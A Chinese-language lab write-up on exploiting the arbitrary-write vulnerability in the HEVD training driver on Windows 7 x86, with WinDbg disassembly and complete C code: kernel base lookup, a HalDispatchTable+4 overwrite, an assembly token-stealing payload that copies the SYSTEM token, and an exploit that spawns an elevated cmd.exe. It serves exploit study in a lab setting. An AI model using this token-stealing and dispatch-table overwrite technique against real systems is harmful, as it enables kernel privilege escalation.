前言
窥探Ring0漏洞世界:任意内存覆盖
实验环境:
- 虚拟机:Windows 7 x86
- 物理机:Windows 10 x64
- 软件:IDA,Windbg,VS2022
漏洞分析
本次实验内容是ArbitraryOverwrite
首先用IDA打开HEVD.sys,搜索IrpDeviceIoCtlHandler
本次实验的是第三个样例,IRP分发函数通过跳转表进行跳转,两项之间的控制码相差4,所以本次实验使用的控制码是:0x22200b
,漏洞触发代码:
代码功能是参数提供一个结构,结构里包含一个写入地址,一个写入内容地址,向写入地址里写入指定的内容(4字节),只要能覆盖一个要执行的函数的地址,然后执行这个函数的时候就会调用到内核态的shellcode上去,由此这是个任意地址写入漏洞
漏洞利用
内核提权–HalDispatchTable
HalDispatchTable是内核中的一个系统调用表,当获得任意地址写的能力之后,可以使用shellcode地址覆盖HalDispatchTable第二个成员处的HalQuerySystemInformation函数地址:
然后调用NtQueryIntervalProfile函数,就会通过该表获取地址进行调用,windbg查看该函数:
kd> uf nt!NtQueryIntervalProfile
nt!NtQueryIntervalProfile:
...
nt!NtQueryIntervalProfile+0x5d:
8411cec8 8b4508 mov eax,dword ptr [ebp+8]
8411cecb 85c0 test eax,eax
8411cecd 7507 jne nt!NtQueryIntervalProfile+0x6b (8411ced6) Branch
nt!NtQueryIntervalProfile+0x64:
8411cecf a1acabf383 mov eax,dword ptr [nt!KiProfileInterval (83f3abac)]
8411ced4 eb05 jmp nt!NtQueryIntervalProfile+0x70 (8411cedb) Branch
nt!NtQueryIntervalProfile+0x6b:
8411ced6 e83ae5fbff call nt!KeQueryIntervalProfile (840db415)
中间省略无关内容,这个函数里只进行了一次call指令调用KeQueryIntervalProfile:
kd> uf nt!KeQueryIntervalProfile
...
nt!KeQueryIntervalProfile+0x14:
840db429 8945f0 mov dword ptr [ebp-10h],eax
840db42c 8d45fc lea eax,[ebp-4]
840db42f 50 push eax
840db430 8d45f0 lea eax,[ebp-10h]
840db433 50 push eax
840db434 6a0c push 0Ch
840db436 6a01 push 1
840db438 ff15fcb3f383 call dword ptr [nt!HalDispatchTable+0x4 (83f3b3fc)]
840db43e 85c0 test eax,eax
840db440 7c0b jl nt!KeQueryIntervalProfile+0x38 (840db44d) Branch
nt!KeQueryIntervalProfile+0x2d:
840db442 807df400 cmp byte ptr [ebp-0Ch],0
840db446 7405 je nt!KeQueryIntervalProfile+0x38 (840db44d) Branch
nt!KeQueryIntervalProfile+0x33:
840db448 8b45f8 mov eax,dword ptr [ebp-8]
840db44b c9 leave
840db44c c3 ret
nt!KeQueryIntervalProfile+0x38:
840db44d 33c0 xor eax,eax
840db44f c9 leave
840db450 c3 ret
这个函数里依然进行了一次call指令,可以看到调用的是HalDispatchTable+4的函数,也正是我们要进行覆盖的函数,这个函数不管返回什么,都不会使得后续产生什么不良影响(也就是说,选择覆盖这个函数主要是覆盖不会影响系统奔溃)
到这里进行利用的思路已经逐渐清晰了起来,第一步:找到HalDispatchTable地址
找到HalDispatchTable地址
查阅资料[1]可知:
- 找到内核模块ntkrnlpa.exe的内核基址:使用EnumDeviceDrivers函数枚举配合GetDeviceDriverBaseNameA函数获取模块名称进行判断
- 用户模式加载内核模块ntkrnlpa.exe,通过GetProcAddress函数获取HalDispatchTable的地址,计算出与基址的偏移量
- 计算HalDispatchTable在内核模块的地址:基址+偏移
实现如下:
// 获取驱动模块基地址
LPVOID GetDriverBase(LPCSTR lpDriverName)
{
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
char lpfileName[1024];
//Retrieves the load address for each device driver in the system
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for (int i = 0; i < 1024; i++)
{
//Retrieves the base name of the specified device driver
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
if (!strcmp(lpfileName, lpDriverName))
{
printf("[+]success to get %s\n", lpfileName);
return lpImageBase[i];
}
}
return NULL;
}
// 计算内核HalDispatchTable地址
PVOID GetHalDispatchTable() {
LPVOID pKernelBase = GetDriverBase("ntkrnlpa.exe");
HMODULE pUserBase = LoadLibraryA("ntkrnlpa.exe");
PVOID pUserHalDispatchTable = GetProcAddress(pUserBase, "HalDispatchTable");
DWORD dwOffset = (DWORD)pUserHalDispatchTable - (DWORD)pUserBase;
PVOID pKernelHalDispatchTable = (PVOID)((DWORD)pKernelBase + dwOffset);
return pKernelHalDispatchTable;
}
构造利用代码:
不用管返回值,只需要执行完令牌替换就行:
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad
; 获取当前进程EPROCESS
xor eax, eax
mov eax, fs: [eax + KTHREAD_OFFSET]
mov eax, [eax + EPROCESS_OFFSET]
mov ecx, eax
; 搜索system进程EPROCESS
mov edx, SYSTEM_PID
SearchSystemPID :
mov eax, [eax + FLINK_OFFSET]
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx
jne SearchSystemPID
; token窃取
mov edx, [eax + TOKEN_OFFSET]
mov[ecx + TOKEN_OFFSET], edx
; 环境还原 + 返回
popad
}
}
编写exp
要调用的是ntdll.dll里的函数NtQueryIntervalProfile,因为没法直接用,所以需要间接获取地址,构造函数指针进行调用,整体利用流程如下:
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
int main()
{
ULONG UserBufferSize = sizeof(WRITE_WHAT_WHERE);
PVOID EopPayload = &TokenStealingPayloadWin7;
HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[ERROR]Open Device Error\r\n");
system("pause");
exit(1);
}
else {
printf("[INFO]Device Handle: 0x%X\n", hDevice);
}
WRITE_WHAT_WHERE* UserBuffer = (WRITE_WHAT_WHERE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
if (!UserBuffer) {
printf("[ERROR]Allocate ERROR");
system("pause");
exit(1);
}
else {
printf("[INFO]Allocated Memory: 0x%p\n", UserBuffer);
printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);
}
PVOID HalDispatchTable = GetHalDispatchTable();
UserBuffer->What = (PULONG_PTR)&EopPayload;
UserBuffer->Where = (PULONG_PTR)((DWORD)HalDispatchTable + sizeof(PVOID));
ULONG WriteRet = 0;
DeviceIoControl(hDevice, 0x222003 + 4*2, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
// 触发漏洞
HMODULE hNtDll = LoadLibraryA("ntdll.dll");
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");
ULONG Interval = 0;
NtQueryIntervalProfile(0x1337, &Interval);
HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
UserBuffer = NULL;
system("pause");
system("cmd.exe");
return 0;
}